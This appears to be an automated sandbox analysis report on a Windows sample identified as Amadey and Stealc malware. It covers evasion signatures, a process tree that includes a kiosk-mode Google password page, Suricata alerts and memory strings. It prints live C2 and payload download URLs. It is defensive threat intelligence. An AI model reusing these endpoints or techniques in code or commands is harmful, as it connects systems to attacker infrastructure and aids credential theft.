Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1502379
MD5:	98ba9c78dec3f0c8100bf1ed10395d72
SHA1:	6a72b2701f52a50301a51ffea7a5815261918ed1
SHA256:	984cc4c8df4940b8246b8c8394616c4b7e6ebf2fa568723b091a86bd851ea032
Tags:	exe
Infos:

Detection

Amadey, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Found API chain indicative of debugger detection

Found API chain indicative of sandbox detection

Hides threads from debuggers

Machine Learning detection for sample

Maps a DLL or memory area into another process

PE file contains section with special chars

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Abnormal high CPU Usage

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

OS version to string mapping found (often used in BOTs)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Potential key logger detected (key state polling based)

Queries the volume information (name, serial number etc) of a device

Sleep loop found (likely to delay execution)

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 7328 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 98BA9C78DEC3F0C8100BF1ED10395D72)

explorti.exe (PID: 7492 cmdline: "C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe" MD5: 98BA9C78DEC3F0C8100BF1ED10395D72)

explorti.exe (PID: 7640 cmdline: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe MD5: 98BA9C78DEC3F0C8100BF1ED10395D72)

86cd2764f3.exe (PID: 7860 cmdline: "C:\Users\user\AppData\Roaming\1000051000\86cd2764f3.exe" MD5: 4847D6885ADC7EA78FDF9918C384CECB)

ada2950f18.exe (PID: 7984 cmdline: "C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe" MD5: 4847D6885ADC7EA78FDF9918C384CECB)

9963a8aba7.exe (PID: 8156 cmdline: "C:\Users\user\AppData\Local\Temp\1000053001\9963a8aba7.exe" MD5: DC07DF13058EC69D92FADD3FB1CFF581)

msedge.exe (PID: 8180 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk --edge-kiosk-type=fullscreen --no-first-run --disable-features=TranslateUI --disable-popup-blocking --disable-extensions --no-default-browser-check --app=https://accounts.google.com/ServiceLogin?service=accountsettings&continue=https://myaccount.google.com/signinoptions/password MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 5480 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2160 --field-trial-handle=2016,i,16176918105418221585,11467192420078464089,262144 --disable-features=TranslateUI /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7388 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk --edge-kiosk-type=fullscreen --no-first-run --disable-features=TranslateUI --disable-popup-blocking --disable-extensions --no-default-browser-check --app=https://accounts.google.com/ServiceLogin?service=accountsettings&continue=https://myaccount.google.com/signinoptions/password --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 4268 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2548 --field-trial-handle=2020,i,14198895408306512889,17473706492312331998,262144 --disable-features=TranslateUI /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 9748 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=7820 --field-trial-handle=2020,i,14198895408306512889,17473706492312331998,262144 --disable-features=TranslateUI /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 9800 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7756 --field-trial-handle=2020,i,14198895408306512889,17473706492312331998,262144 --disable-features=TranslateUI /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

identity_helper.exe (PID: 9920 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6428 --field-trial-handle=2020,i,14198895408306512889,17473706492312331998,262144 --disable-features=TranslateUI /prefetch:8 MD5: 76C58E5BABFE4ACF0308AA646FC0F416)

identity_helper.exe (PID: 9940 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6428 --field-trial-handle=2020,i,14198895408306512889,17473706492312331998,262144 --disable-features=TranslateUI /prefetch:8 MD5: 76C58E5BABFE4ACF0308AA646FC0F416)

msedge.exe (PID: 8064 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=8132 --field-trial-handle=2020,i,14198895408306512889,17473706492312331998,262144 --disable-features=TranslateUI /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7948 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8384 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=2060,i,129414383190200186,15968565095771846432,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8744 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=4436 --field-trial-handle=2060,i,129414383190200186,15968565095771846432,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

identity_helper.exe (PID: 9700 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=5968 --field-trial-handle=2060,i,129414383190200186,15968565095771846432,262144 /prefetch:8 MD5: 76C58E5BABFE4ACF0308AA646FC0F416)

identity_helper.exe (PID: 9432 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=5968 --field-trial-handle=2060,i,129414383190200186,15968565095771846432,262144 /prefetch:8 MD5: 76C58E5BABFE4ACF0308AA646FC0F416)

msedge.exe (PID: 6960 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 5680 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=2104,i,2662021225016214237,15127601978370179281,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 9908 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8756 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2236 --field-trial-handle=2068,i,13529609438476124602,4873144029971825180,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8704 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 9100 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2248 --field-trial-handle=2124,i,3282595102075103265,12610826402939548734,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/ https://bitsight.com/blog/unveiling-socks5systemz-rise-new-proxy-service-privateloader-and-amadey	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.100/e2b1563c6670f193.php"}

Threatname: Amadey

{"C2 url": ["http://185.215.113.19/Vi9leo/index.php"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000002.00000003.1702396750.00000000050F0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000002.4097944945.0000000000901000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000001.00000003.1652641767.00000000050F0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.1673804674.0000000000101000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000004.00000002.1923054820.000000000113E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000003.00000002.1801528450.000000000161E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000001.00000002.1693678677.0000000000901000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.1633377519.00000000049B0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: 86cd2764f3.exe PID: 7860	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 86cd2764f3.exe PID: 7860	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: ada2950f18.exe PID: 7984	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: ada2950f18.exe PID: 7984	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 7 entries

Unpacked PEs

Source	Rule	Description	Author
2.2.explorti.exe.900000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
1.2.explorti.exe.900000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.2.file.exe.100000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.4 - Destination IP: 185.215.113.100

Timestamp:	2024-09-01T02:48:20.845187+0200
SID:	2044243
Severity:	1
Source Port:	49765
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.4 - Destination IP: 185.215.113.19

Timestamp:	2024-09-01T02:48:02.985891+0200
SID:	2856147
Severity:	1
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern H - Source IP: 192.168.2.4 - Destination IP: 185.215.113.16

Timestamp:	2024-09-01T02:48:03.989003+0200
SID:	2803305
Severity:	3
Source Port:	49731
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Common Downloader Header Pattern H - Source IP: 192.168.2.4 - Destination IP: 185.215.113.16

Timestamp:	2024-09-01T02:48:10.273524+0200
SID:	2803305
Severity:	3
Source Port:	49736
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Amadey CnC Response M1 - Source IP: 185.215.113.19 - Destination IP: 192.168.2.4

Timestamp:	2024-09-01T02:48:06.425571+0200
SID:	2856122
Severity:	1
Source Port:	80
Destination Port:	49730
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 - Source IP: 192.168.2.4 - Destination IP: 185.215.113.19

Timestamp:	2024-09-01T02:48:12.887997+0200
SID:	2044696
Severity:	1
Source Port:	49737
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 - Source IP: 192.168.2.4 - Destination IP: 185.215.113.19

Timestamp:	2024-09-01T02:48:09.417128+0200
SID:	2044696
Severity:	1
Source Port:	49734
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 - Source IP: 192.168.2.4 - Destination IP: 185.215.113.19

Timestamp:	2024-09-01T02:48:07.179278+0200
SID:	2044696
Severity:	1
Source Port:	49732
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.4 - Destination IP: 185.215.113.100

Timestamp:	2024-09-01T02:48:10.012566+0200
SID:	2044243
Severity:	1
Source Port:	49735
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

HTTP traffic detected: POST /dns-query HTTP/1.1Host: chrome.cloudflare-dns.comConnection: keep-aliveContent-Length: 128Accept: application/dns-messageAccept-Language: *User-Agent: ChromeAccept-Encoding: identityContent-Type: application/dns-message

Source: 86cd2764f3.exe, 00000003.00000002.1801528450.000000000161E000.00000004.00000020.00020000.00000000.sdmp, ada2950f18.exe, 00000004.00000002.1923054820.000000000113E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100
Source: 86cd2764f3.exe, 00000003.00000002.1801528450.000000000161E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100%D
Source: 86cd2764f3.exe, 00000003.00000002.1801528450.000000000161E000.00000004.00000020.00020000.00000000.sdmp, ada2950f18.exe, 00000004.00000002.1923054820.000000000119F000.00000004.00000020.00020000.00000000.sdmp, ada2950f18.exe, 00000004.00000002.1923054820.0000000001185000.00000004.00000020.00020000.00000000.sdmp, ada2950f18.exe, 00000004.00000002.1923054820.000000000113E000.00000004.00000020.00020000.00000000.sdmp, ada2950f18.exe, 00000004.00000002.1923054820.0000000001197000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/
Source: 86cd2764f3.exe, 00000003.00000002.1801528450.0000000001682000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/F
Source: 86cd2764f3.exe, 00000003.00000002.1801528450.0000000001682000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/T
Source: ada2950f18.exe, 00000004.00000002.1923054820.000000000119F000.00000004.00000020.00020000.00000000.sdmp, ada2950f18.exe, 00000004.00000002.1923054820.000000000113E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.php
Source: 86cd2764f3.exe, 00000003.00000002.1801528450.0000000001682000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.php)
Source: 86cd2764f3.exe, 00000003.00000002.1801528450.0000000001682000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.php/
Source: 86cd2764f3.exe, 00000003.00000002.1801528450.0000000001679000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpC
Source: ada2950f18.exe, 00000004.00000002.1923054820.000000000119F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpML
Source: ada2950f18.exe, 00000004.00000002.1923054820.00000000011AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpNA
Source: 86cd2764f3.exe, 00000003.00000002.1801528450.0000000001679000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpO
Source: ada2950f18.exe, 00000004.00000002.1923054820.0000000001185000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/w
Source: ada2950f18.exe, 00000004.00000002.1923054820.000000000119F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/ws
Source: explorti.exe, 00000002.00000002.4100913919.00000000013B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: explorti.exe, 00000002.00000002.4100913919.00000000013B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe:aB
Source: explorti.exe, 00000002.00000002.4100913919.00000000013D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe
Source: explorti.exe, 00000002.00000002.4100913919.00000000013D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exel
Source: explorti.exe, 00000002.00000002.4100913919.00000000013D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/
Source: explorti.exe, 00000002.00000002.4100913919.00000000013D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/D
Source: explorti.exe, 00000002.00000002.4100913919.00000000013D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Local
Source: explorti.exe, 00000002.00000002.4100913919.00000000013D9000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000002.00000002.4100913919.00000000013B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.php
Source: explorti.exe, 00000002.00000002.4100913919.00000000013D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.php#
Source: explorti.exe, 00000002.00000002.4100913919.00000000013D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.php&
Source: explorti.exe, 00000002.00000002.4100913919.00000000013D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.php53001
Source: explorti.exe, 00000002.00000002.4100913919.00000000013D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpJ
Source: explorti.exe, 00000002.00000002.4100913919.00000000013D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpc
Source: explorti.exe, 00000002.00000002.4100913919.00000000013D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpcd
Source: explorti.exe, 00000002.00000002.4100913919.00000000013D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpd
Source: explorti.exe, 00000002.00000002.4100913919.00000000013D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpls
Source: explorti.exe, 00000002.00000002.4100913919.00000000013D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpq
Source: explorti.exe, 00000002.00000002.4100913919.00000000013D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phptch
Source: explorti.exe, 00000002.00000002.4100913919.00000000013D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/d5f9dd0246b5cb4f6522427fae1daa8e9eb0eefeb8846d934f48b15eaa495c49##o
Source: explorti.exe, 00000002.00000002.4100913919.00000000013D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/fae1daa8e9eb0eefeb8846d934f48b15eaa495c49#2
Source: 9963a8aba7.exe, 00000006.00000002.4098767729.0000000000C52000.00000004.00000020.00020000.00000000.sdmp, 9963a8aba7.exe, 00000006.00000002.4098767729.0000000000C28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/ServiceLogin?service=accountsettings&continue=https://myaccount.google.c
Source: data_10.11.dr	String found in binary or memory: https://arc.msn.com/v4/api/selection?placement=88000360&nct=1&fmt=json&ADEFAB=1&OPSYS=WIN10&locale=e
Source: data_10.11.dr	String found in binary or memory: https://azureedge.net
Source: Reporting and NEL0.11.dr	String found in binary or memory: https://bzib.nelreports.net/api/report?cat=bingbusiness
Source: Web Data.10.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Web Data.10.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: Network Persistent State0.19.dr	String found in binary or memory: https://chrome.cloudflare-dns.com
Source: manifest.json.19.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json.19.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: 40d68cff-b04e-4ac4-b59e-005288c2643f.tmp.20.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json0.19.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: 40d68cff-b04e-4ac4-b59e-005288c2643f.tmp.20.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: manifest.json0.19.dr	String found in binary or memory: https://docs.google.com/
Source: manifest.json0.19.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json0.19.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json0.19.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json0.19.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json0.19.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json0.19.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json0.19.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json0.19.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json0.19.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json0.19.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json0.19.dr	String found in binary or memory: https://drive.google.com/
Source: Web Data.10.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Web Data.10.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Web Data.10.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: data_10.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/addressbar_uu_files.en-gb/1.0.2/asset?assetgroup=Addre
Source: data_10.11.dr, 000003.log7.19.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: data_10.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: data_10.11.dr	String found in binary or memory: https://msn.com
Source: 9963a8aba7.exe, 00000006.00000002.4097947899.0000000000390000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/signinoptions/passwordC:
Source: content_new.js.19.dr, content.js.19.dr	String found in binary or memory: https://www.google.com/chrome
Source: Web Data.10.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 40d68cff-b04e-4ac4-b59e-005288c2643f.tmp.20.dr	String found in binary or memory: https://www.googleapis.com
Source: Top Sites.10.dr, Top Sites.19.dr	String found in binary or memory: https://www.office.com/
Source: Top Sites.10.dr, Top Sites.19.dr	String found in binary or memory: https://www.office.com/Office

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
